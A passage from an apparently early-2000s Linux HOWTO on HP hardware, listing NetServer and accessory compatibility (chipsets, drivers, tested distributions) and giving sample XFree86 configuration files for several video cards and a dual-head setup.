NetServer LH4 (D7092A, D7093A, D7094A, D7095A, D6971A, D6972A, D6973A, D6974A, D7103A, D7104A, D8552A, D8553A, D8556A, D8557A, D8560A, D8561A, P1225A, P1227A) Chipset BXRem. Rem.Rem. Rem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | 2 Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | None | N/A | RedHat 6.0, 6.1, 6.2, 7.0, NOT 7.1, 7.2
NetServer LH6000 (D9103A, D9104A, D9107A, D9108A, D9190A, D9190B, D9192A, D9192B, D9194A, D9194B, D9196A, D9196B, P1816B, P1817B, P2622A, P2623A) Chipset BXRem. Rem. Rem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7880 PCI + 2 Symbios Logic 53C896 PCI | Yes driver aic7xxx and driver sym53c8xx | None | N/A | RedHat 6.2, 7.0, Mandrake 7.2, 8.1
NetServer LPr (D6130A, D6131A, D7171A, D9133A, D9348A, D9431A, D9434A, P1736A, P1738A, P1820A, P3417A) Chipset BXRem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | None | N/A | RedHat 6.2
NetServer LP1000r (P1810A, P1812A, P2465A, P4632A, P4634A) Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | 2 x Intel i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C1010 PCI | Yes driver sym53c8xxRem. | None | N/A | RedHat 6.1, 6.2, 7.0, 7.1, Mandrake 7.2, 8.1, SuSE 7.0
NetServer LP1000r (P3573A) Rem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | 2 x Intel i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C1010 PCI | Yes driver sym53c8xxRem. | None | N/A | Preload RedHat 7.0 based
NetServer LP1000r (P3574A) Rem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | 2 x Intel i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C1010 PCI | Yes driver sym53c8xxRem. | None | N/A | Preload SuSE 7.0 based
NetServer LP2000r (P1824A, P1827A, P1830A, P3576A, P4636A, P4638A) Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | 2 x Intel i82559 10/100 BT | Yes driver eepro100 or e100 | 2 Symbios Logic 53C1010 PCI | Yes driver sym53c8xxRem. | None | N/A | RedHat 6.1, 6.2, 7.0, 7.1, Mandrake 7.2, 8.1, SuSE 7.0
Cluster NetServer LPr (D6131A, P1133A)Rem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | Symbios Logic 53C895 PCI | Yes driver ncr53c8xxRem. | None | N/A | Yes
NetServer LT6000r (D9143A, D9145A, P1756A, P1756B, P1758A, P1758B, P1821B, P2621A, P3460) Chipset BXRem. Rem. Rem. Rem. Rem. | ATI Rage II C AGP | Yes XFree 4.1.0Rem. (ati) | Intel S82093A / i82559 10/100 BT | Yes driver eepro100 or e100 | Adaptec AIC 7880 PCI + 2 Symbios Logic 53C896 PCI | Yes driver aic7xxx and driver sym53c8xx | None | N/A | RedHat 6.2, 7.0, Mandrake 7.2, 8.1
NetServer LXePro/LXPro (D4920B, D4925B, D6036A, D4311B, D4312B, D6037A, D4315B, D4958B, D6014A, D6015A, D4964B, D4898A, D6016A, D4899A, D6017A, D4900A, D6018A) | Cirrus Logic GD 5424 PCI | Yes XFree 3.3.6Rem. (SVGA) | None | N/A | 2 Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | None | N/A | RedHat 7.0
NetServer LXrPro8 (D5028A) | ? | ? | None | N/A | Symbios logic UW | ? | None | N/A | No
NetServer LXr8000 (D6021A, D6022A, D6136A, D6137A, D7000A, D8256A, D8257A, D8258A, D8546A, D8548A) Rem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | None | N/A | 2 Symbios Logic 53C896 PCI | Yes driver sym53c8xxRem. | None | N/A | Yes
NetServer LXr8500 (D8540A, D8542A, D9317A, D9417A, D9418A, P1230A, P1765A, P3461A) Rem. | Cirrus Logic GD 5446 PCI | Yes XFree 4.1.0Rem. (cirrus) | None | N/A | 2 Symbios Logic 53C896 PCI | Yes driver sym53c8xxRem. | None | N/A | No

3.2.1.9. NetServers accessories

The following table provides all information on the support for this hardware by Linux.

Table 3-13. NetServers accessories

Reference | Card type | Chipset | Linux support | Tested
NetRaid 1 D4992A | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.0, 6.1, 6.2, 7.0, 7.1, 7.2, Mandrake 7.2, 8.0, 8.1, SuSE 7.0
NetRaid 1Si D2140A | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.0, 6.1, 6.2, 7.0, 7.1, Mandrake 7.2, 8.0, SuSE 7.0
NetRaid 1M P3410A Rem. | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.1, 6.2, 7.0, 7.1, 7.2, Mandrake 8.1
NetRaid 2M P3411A, P3475A Rem. | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.1, 6.2, 7.0, 7.1, 7.2, Mandrake 8.1
NetRaid 3 D4943A | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.0, 6.1, 6.2, 7.0, 7.1, 7.2, Mandrake 7.2, 8.0, 8.1, SuSE 7.0
NetRaid 3Si D5955A | NetRaid Card | AMI Megaraid (Raid 0, 1, 3, 5, 10, 50) | Yes driver megaraidRem. | RedHat 6.0, 6.1, 6.2, 7.0, 7.1, 7.2, Mandrake 7.2, 8.0, 8.1, SuSE 7.0
NetRaid 4M D9161A/D9351A | NetRaid Card | Strong ARM (Raid 0, 1, 3, 5, 10, 50) | Yes driver aacraidRem. | RedHat 7.0, 7.1, Mandrake 8.0, 8.1
C1578B | SCSI Card | Adaptec AIC 7895H PCI | Yes driver aic7xxxRem. | No
C7430A | SCSI Card | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | No
D5025A | SCSI Card | Adaptec AIC 7880 UW PCI | Yes driver aic7xxxRem. | Yes
D5252A | SCSI Card | Adaptec AIC 7880 UWD PCI | Yes driver aic7xxxRem. | Yes
P3413A | SCSI Card | Adaptec AIC 29160 PCI | Yes driver aic7xxxRem. | RedHat 6.2, 7.0
D5013A, D5013B | Network Card | Intel i82557 / i82558 10/100 BT (D5013A/B) | Yes driver eepro100 or e100 | RedHat 6.2, 7.0, 7.1, Mandrake 7.2, 8.0, 8.1
P3482A | Network Card | 3Com ??? 10/100/1000 BT | Yes driver bcm5700Rem. | RedHat 7.0, 7.1, 7.2, Mandrake 8.0, 8.1
P3492 | Network Card | ??? | ??? | No
J2585B | Network Card | Carte 100VG (J2585B) | Yes driver hp100 | Yes
D6977A | Fibre Channel Card | ??? | ??? | No
D5246A | Fibre Channel Card | ??? | ??? | No
D8602A | Fibre Channel Card | ??? | ??? | No
D8602B | Fibre Channel Card | ??? | ??? | No
D6028A | Top Tools Card | ??? | Yes | Yes
P1979A | USB Modem | ??? | ??? | No
D8384B | USB Modem | Aztech UM9800 | driver Aztech | Yes

For TopTools Remote Control Cards (TTRCC), the B.02.02 firmware release shows some strange symptoms at boot time, namely you get no data in your browser (Netscape on Linux) until way past selftest and LILO, so it's kind of hard to boot an alternate kernel. The fix is to 'downgrade' your firmware on the TTRCC to B.02.00. You can see what revision you're running on the TopTools 'Identity Screen'. You can flash the eeprom on the TTRCC anytime (unless you really want to make a DOS floppy and reboot) by tftping the right firmware (ttrc0200.bin) in the 'Configuration' tab -> 'Card Info' area, and press 'Update'. It takes a minute or so to download/verify/and reset the TTRCC. (Information from Lee Mayes)

3.2.1.10. HP Server Appliances

Information concerning these machines are available at http://www.hp.com/products1/servers/serverappliances/

The "Web hosting" SA1100 (P4533A) and SA1120 (P4534A) machines are equiped with a RedHat based distribution of Linux.

The "Web caching" SA2100 (P4535A), SA2150 (P4651A), SA2200 (P4536A) and SA2250 (P4537A) machines are equiped with a RedHat based distribution of Linux and of the Inktomi software. The hardware base is a LP1000r.

3.2.1.11. HP Blade Server

Information concerning these machines are available at http://www.hp.com/products1/servers/blades/index.html

  • Debian: 2.2r3 kernel 2.2.19

  • Red Hat: 7.0 kernel 2.2.16

  • SuSE: 7.1 kernel 2.4.0

3.2.1.12. UPS

Hp doesn't make UPS anymore, but has a world-wide agreement with APC. APC distributes a free software (no cost, not open-source), to manage its UPS under Linux. It's available at http://www.apcc.com/products/management/pcp_linux.cfm.

3.2.1.13. Complementary information

Please refer to the Hardware Howto and Ethernet Howto for other details concerning the support of some hardware elements by Linux.

For video chipsets support, a fundamental page is the one of XFree86 with its supported chipsets list.

Commercial servers are also available, as those of X-Inside and MetroLink

Netvectra are not supported by Linux.

Driver supporting the HP GPIB cards (IEEE 488) HP 27209 (= HP 82990, HP 61062, HP 88500) and HP 82335 is available at the following address : ftp://ftp.llp.fu-berlin.de/pub/linux/LINUX-LAB/IEEE488.

Another GPIB driver may be found at this address http://www.inesinc.com/linux.htm.

XFree86

The latest version of XFree86 is the 4.1.0, available from this server.

G100 card

To use the MGA G100 AGP card, with a version of XFree86 before the 3.3.2 one, you have to use an option in the file XF86Config : Option "no_accel".

Section example :
Section "Device"
[...]
      VendorName "Matrox"
      VideoRam 4096
      Option "no_accel"
EndSection

G450 card

This card can support up to two displays. These displays can be configured in two different ways.

For uniquely independent screen operation, you can configure displays for "multi-screen" work. In this mode, the X server reports two independent screens for client connections. These are numbered using the "minor" display number (e.g. <hostname>:0.0 and <hostname>:0.1). There is no support to move client windows between the screens.

The other configuration option uses the XINERAMA extension. This configuration links multiple screens to behave as one logical screen. In this mode, the X server reports one screen for all client connections. X clients can move between screens and the overall screen resolution is doubled width or height depending upon the desired setup.

The following examples demonstrate these possibilities through the configuration file /etc/X11/XF86Config-4 :
  Section "Device"
    Identifier   "G450_0"
    Driver       "mga"
    Screen       0
  EndSection

  Section "Device"
    Identifier   "G450_1"
    Driver       "mga"
    Screen       1
  EndSection

  Section "Screen"
    Identifier   "Screen0"
    Device       "G450_0"
    Monitor      "Monitor0"
    DefaultDepth 24

    SubSection "Display"
      Depth    24
      Modes    "1280x1024"
      Viewport 0 0
    EndSubsection

  EndSection

  Section "Screen"
    Identifier   "Screen1"
    Device       "G450_1"
    Monitor      "Monitor1"
    DefaultDepth 24

    SubSection "Display"
      Depth    24
      Modes    "1280x1024"
      Viewport 0 0
    EndSubsection

  EndSection

  Section "ServerLayout"
    Identifier  "MyLayout"
    Screen      "Screen0" LeftOf "Screen1"
    Screen      "Screen1"
    InputDevice "Keyboard0" "CoreKeyboard"
    InputDevice "Mouse0"    "CorePointer"
  EndSection
To enable the XINERAMA extension, you may use one of two ways. The first is by adding a command-line option to the X server. This can be done as follows:
#startx -- +xinerama
The second method is by adding an option to /etc/X11/XF86Config-4 :
  Section "ServerFlags"
    Option "Xinerama" "on"
  EndSection

The Matrox driver supports several XFree86 options through the file /etc/X11/XF86Config-4. The example below describes two such options that contribute to improved graphics performance:
  Section "Device"
    Identifier "Matrox G450"
        Driver     "mga"
# Use this option to enable AGP 2X mode
# In default mode AGP 1x, the host to graphics bandwidth is about 500 MB/sec
# This will increase the host to graphics bandwidth to about 1 GB/sec
# This mode is recommended by HP for X2000/X4000
        Option     "AGPMode4x"    "on"
# Use this option to enable AGP 4X mode
# This will increase the host to graphics bandwidth to about 2 GB/sec
# This mode is recommended by HP for X2000/X4000
  EndSection

ATI Rage Mobility video card

The maximum resolution supported by this chipset in frame-buffer mode is 800x600 in 16 bpp (vga=0x315 in /etc/lilo.conf)

This chipset is also supported by XFree 3.3.6 with the Mach64 driver and a patch available at http://www.staikos.on.ca/~staikos/tp1460/XFMa64-Rage-Thinkpad.patch.

A precompiled X server is available at this address : http://www.0wned.org/XFMa64-Rage-Thinkpad.tar.gz.

FireGL 2/4 card

This serveur is available from the ATI site at http://support.ati.com/drivers/

To enable multi-screen with FireGL4, set the monitor resolution to a supported multi-screen resolution like 2560x1024 in the /etc/X11/XF86Config-4 file. The firegl driver recognizes this and sets up multi-screen when the Xserver starts. Make sure you have two monitors set up and connected to the two DVI ports on the FireGL4 card.

The firegl driver supports several XFree86 options through the file /etc/X11/XF86Config-4. Values indicated in the example correspond to the default values.
  Section "Device"
    Identifier "FIRE GL2"
        Driver     "firegl"
        Option     "Overlay"    "off"
# Use this option to enable limited overlay plane support.
# NOTE: currently this is not intended to support the running of applications in the overlay planes.
# Number of 4k DMA buffers used per OpenGL context.
# number of 4k DMA buffers used per OpenGL process by texture manager.
# parameter command line passed to firegl kernel module
# Example:Option "KernelModuleParm" "maxlockedmem=64;agpgart=2"
# Option list:
# maxlockedmem: Maximum locked DMA memory
# Maximum locked display list memory
# Value 0, use firegl built-in support, value 2, disable firegl built-in AGP GART support if an agpgart module is loaded, it will be used, value 3, disable AGP GART support
# agp_try_unsupported: try unsupported chipsets
        Option     "OffScreenPixmaps"   "no"
# enables the use of frame buffer memory to save/generate pixmaps.
        Option     "BIOSInfo"   "no"
# enable BIOS version output to the XFree86.0.log file
        Option     "HW Cursor"   "yes"
# Enable HW Cursor
        Option     "enable DVI"   "no"
# enable DVI connector(s) (always enabled in dual mode (Fire GL3/4)
        Option     "no_accel"   "no"
# Disable XAA hardware acceleration
        Option     "NoDDC"   "no"
# disables PnP Monitor functionality such as automatic mode configuration (This important for Fire GL3/4 users who want to work with dual screen modes)
        Option     "AGPSpeed"   "-1"
# 0 for AGP off, 1 for AGP 1x, 2 for AGP 2x, 4 for AGP 4x, -1 for "Query Chipset"
#
  EndSection

GD 5465 video card

To use a Cirrus Logic GD 5465 AGP card, with a version below Xfree86 3.3.3, you have to use an option in the file XF86Config : Option "xaa_no_color_exp".

Section example :
Section "Device"
[...]
       Identifier "CL-GD5465"
       VendorName "Cirrus"
       BoardName  "GD5465"
       VideoRam   2048
       Option     "xaa_no_color_exp"
EndSection

Some users who had problems with the support of this chipset were more satisfied with the use of the "sw_cursor" option.

Elsa Gloria Synergy card

Specifications of that card should be consulted on Elsa web site. This card is equiped with an hardware OpenGL accelerator. Under Linux, there is an OpenGL compatible layer called Mesa. This layer begins to support hardware accelerators, and among them the 3DLabs chipset which is on Elsa Gloria cards.

  • Elsa web site

  • OpenGL web site

  • Mesa web site

Silicon Motion LynxE card

This card is only supported by the 3.3.6 version of XFree86 and upper. Nevertheless, even in that version, this is a preliminary support, which isn't as stable as the Frame Buffer mode.

On the other hand, to be able to install a RedHat 6.1 version, you should do that in text mode, because the server provided (3.3.5) doesn't support this card.

If you have a dual-boot system, booting first on Windows, and initialize the card through its driver seems to improve the operations then under Linux (warm reboot).

Versions of XFree86 above 4.0.2 also offer the support of this chipset.

Intel i810/i815 card

(Informations provided by Frédéric Dubuy <F.Dubuy@atrid.fr>, Anne-Marie Mahfouf <a-m.mahfouf@lineone.net> and Jean-Bernard Chaffardon <Jean-Bernard_Chaffardon@hp.com>)

These cards are only supported with a specific X server XFCom_i810/5 downloadable in both format RPM or tar.gz and a complementary module for the kernel agpgart, downloadable in both format SRPM or tar.gz (old).

Detailed documentations on the installation are provided at http://www.linux-france.org/article/x/GuideIntel810/book1.html and ftp://download.intel.com/support/graphics/intel815/release_linux.pdf

To summarize, once the X server installed, the module compiled and installed, it's sufficient to modify with the following parameters the file /etc/X11/XF86Config :
Section "Device"
[...]
      Identifier "i810"
[...]
EndSection

[...]
Section "Screen"
[...]
      Driver "svga"
      Device "i810"
[...]
EndSection

You have to note that the agpgart module provided by Intel should replace the one delivered in the kernel so that it works. You then have to reinstall it, particularly when a kernel update occurs.

S3 Savage 4 card

This card is only supported with a specific X server downloadable at ftp://ftp.s3.com/pub/s3/desktop/395/395_xf86_1011.tar.gz

For the installation, please read the following document

Frame Buffer

To use the Frame Buffer mode, please consult the following documents http://www.medasys-digital-systems.fr/linux/framebuffer.html and http://www.linuxdoc.org/HOWTO/Framebuffer-HOWTO.html.

Dual head with XFree86

It's possible to use XFree86 in dual-head mode. The following example of configuration is provided by S. Eranian for a Matrox G200 AGP and a ATI Rage 128 PCI card. "The key element is that you must specify the PCI id for both cards."

# /etc/X11/XF86Config-4

# File generated by xf86config.

#
# Copyright (c) 1999 by The XFree86 Project, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
# THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Except as contained in this notice, the name of the XFree86 Project shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from the
# XFree86 Project.
#

# **********************************************************************
# Refer to the XF86Config(4/5) man page for details about the format of
# this file.
# **********************************************************************

# **********************************************************************
# Module section -- this  section  is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
Section "Module"

# This loads the DBE extension module.

    Load        "dbe"   # Double buffer extension

# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
#    SubSection  "extmod"
#      Option    "omit xfree86-dga"   # don't initialise the DGA extension
#    EndSubSection
        Load "extmod"

# This loads the Type1 and FreeType font modules
    Load        "type1"
    Load        "freetype"
# This loads the GLX module
    Load       "glx"

#    Load       "dri"
EndSection

Section "DRI"
        Mode 0666
EndSection
# **********************************************************************
# Files section.  This allows default font and rgb paths to be set
# **********************************************************************

Section "Files"

# The location of the RGB database.  Note, this is the name of the
# file minus the extension (like ".txt" or ".db").  There is normally
# no need to change the default.

    RgbPath     "/usr/X11R6/lib/X11/rgb"

# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
#
# If you don't have a floating point coprocessor and emacs, Mosaic or other
# programs take long to start up, try moving the Type1 and Speedo directory
# to the end of this list (or comment them out).
#

    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
#    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
    FontPath   "/opt/fonts"

# The module search path.  The default path is shown here.

    ModulePath "/usr/X11R6/lib/modules"

EndSection

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

# Uncomment this to cause a core dump at the spot where a signal is
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging

#    Option "NoTrapSignals"

# Uncomment this to disable the <Ctrl><Alt><BS> server abort sequence
# This allows clients to receive this key event.

#    Option "DontZap"

# Uncomment this to disable the <Ctrl><Alt><KP_+>/<KP_-> mode switching
# sequences.  This allows clients to receive these key events.

#    Option "Dont Zoom"

# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.

#    Option "DisableVidModeExtension"

# Uncomment this to enable the use of a non-local xvidtune client.

#    Option "AllowNonLocalXvidtune"

# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings.

#    Option "DisableModInDev"

# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).

#    Option "AllowNonLocalModInDev"

EndSection

# **********************************************************************
# Input devices
# **********************************************************************

# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************

Section "InputDevice"

    Identifier  "Keyboard1"
    Driver      "Keyboard"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.

#    Option     "Protocol"      "Xqueue"

    Option "AutoRepeat" "500 30"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option     "Xleds"      "1 2 3"

#    Option "LeftAlt"     "Meta"
#    Option "RightAlt"    "ModeShift"

# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#    Option "XkbModel"    "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#    Option "XkbModel"    "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
#    Option "XkbLayout"   "de"
# or:
#    Option "XkbLayout"   "de"
#    Option "XkbVariant"  "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"

# These are the default XKB settings for XFree86
#    Option "XkbRules"    "xfree86"
#    Option "XkbModel"    "pc101"
#    Option "XkbLayout"   "us"
#    Option "XkbVariant"  ""
#    Option "XkbOptions"  ""

#    Option "XkbDisable"

    Option "XkbRules"   "xfree86"
    Option "XkbModel"   "pc101"
    Option "XkbLayout"  "us"

EndSection

# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************

Section "InputDevice"

# Identifier and driver

    Identifier  "Mouse1"
    Driver      "mouse"
#    Option "Protocol"    "PS/2"
    Option "Protocol"    "imps/2"
Option "ZAxisMapping" "4 5"
    Option "Device"      "/dev/mouse"

# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.

#    Option "Protocol"  "Xqueue"

# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.

#    Option "BaudRate"  "9600"
#    Option "SampleRate"        "150"

# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)

#    Option "Emulate3Buttons"
#    Option "Emulate3Timeout"    "50"

# ChordMiddle is an option for some 3-button Logitech mice

#    Option "ChordMiddle"

EndSection

# **********************************************************************
# Other input device sections
# this is optional and is required only if you
# are using extended input devices.  This is for example only.  Refer
# to the XF86Config man page for a description of the options.
# **********************************************************************
#
# Section "InputDevice"
#    Identifier  "Mouse2"
#    Driver      "mouse"
#    Option      "Protocol"      "MouseMan"
#    Option      "Device"        "/dev/mouse2"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball"
#    Driver     "magellan"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball2"
#    Driver     "spaceorb"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen0"
#    Driver     "microtouch"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "1412"
#    Option     "MaxX"          "15184"
#    Option     "MinY"          "15372"
#    Option     "MaxY"          "1230"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen1"
#    Driver     "elo2300"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "231"
#    Option     "MaxX"          "3868"
#    Option     "MinY"          "3858"
#    Option     "MaxY"          "272"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonThreshold"       "17"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection

# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"

    Identifier  "HP4331D"

# HorizSync is in kHz unless units are specified.
# HorizSync may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    HorizSync   30-82

#    HorizSync  30-64         # multisync
#    HorizSync  31.5, 35.2    # multiple fixed sync frequencies
#    HorizSync  15-25, 30-50  # multiple ranges of sync frequencies

# VertRefresh is in Hz unless units are specified.
# VertRefresh may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    VertRefresh 48-150

++vsync
EndSection

# **********************************************************************
# Graphics device section
# **********************************************************************

# Any number of graphics device sections may be present

# Standard VGA Device:

Section "Device"
    Identifier  "Standard VGA"
    VendorName  "Unknown"
    BoardName   "Unknown"

# The chipset line is optional in most cases.  It can be used to override
# the driver's chipset detection, and should not normally be specified.

#    Chipset    "generic"

# The Driver line must be present.  When using run-time loadable driver
# modules, this line instructs the server to load the specified driver
# module.  Even when not using loadable driver modules, this line
# indicates which driver should interpret the information in this section.

    Driver     "vga"
# The BusID line is used to specify which of possibly multiple devices
# this section is intended for.  When this line isn't present, a device
# section can only match up with the primary video device.  For PCI
# devices a line like the following could be used.  This line should not
# normally be included unless there is more than one video device
# intalled.

#    BusID      "PCI:0:10:0"

#    VideoRam   256

#    Clocks     25.2 28.3

EndSection

# Device configured by xf86config:

Section "Device"
    Identifier  "G200"
    Driver      "mga"
    BusID       "PCI:4:0:0"
    #VideoRam    8192
    VideoRam 8192
#    Option     "SWCursor"
#    Option      "ShadowFB"
#    Option      "PciRetry"
    # Insert Clocks lines here if appropriate
EndSection

Section "Device"
    Identifier  "permedia2"
    Driver      "glint"
    BusID       "PCI:1:8:0"
    #VideoRam    4096
    #VideoRam 4096
    # Insert Clocks lines here if appropriate
EndSection

Section "Device"
    Identifier  "rage"
    Driver      "r128"
    BusID       "PCI:01:08:00"
EndSection

# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "rage"
    Monitor     "HP4331D"
    DefaultDepth 16

    Subsection "Display"
        Depth       8
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
#        Modes       "800x600" "1024x768" "1280x1024"
        Modes        "1024x768" "1280x1024" "640x480" "800x600"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
#        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        Modes       "1280x1024" "1024x768" "800x600" "640x480"
        ViewPort    0 0
    EndSubsection

EndSection

Section "Screen"
    Identifier  "Screen 2"
    Device      "G200"
    Monitor     "HP4331D"
    DefaultDepth 16

    Subsection "Display"
        Depth       8
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
#        Modes       "800x600" "1024x768" "1280x1024"
        Modes      "1280x1024"  "640x480" "800x600" "1024x768"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
EndSection

# **********************************************************************
# ServerLayout sections.
# **********************************************************************

# Any number of ServerLayout sections may be present.  Each describes
# the way multiple screens are organised.  A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option.  In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.

Section "ServerLayout"

# The Identifier line must be present
    Identifier  "Simple Layout"

# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens.  The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen.  In this example, screen 2 is located to the
# right of screen 1.

#   Screen "Screen 1"
    Screen "Screen 1" "" "" "" "Screen 2"
    Screen "Screen 2" "" "" "Screen 1" ""
#    Screen "Screen 2"

# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used.  Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".

    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"

EndSection

Aic7xxx

The latest version of the aic7xxx driver is available from the reference site.

Ncr53c8xx

The latest version of the ncr53c8xx driver is available from the reference site.

A driver disk for the RedHat distribution is available at the following address for the versions 6.2 and 7.0.

To use a driver disk on a RedHat 6.2 distribution, you need to boot with the latest boot disk made by RedHat. Either by remaking a CD-ROM containing it, or by using it directly. It"s available at the following address ftp://ftp.redhat.com/pub/redhat/linux/updates/6.2/en/os/images/i386/boot-20000407.img

D6692A card

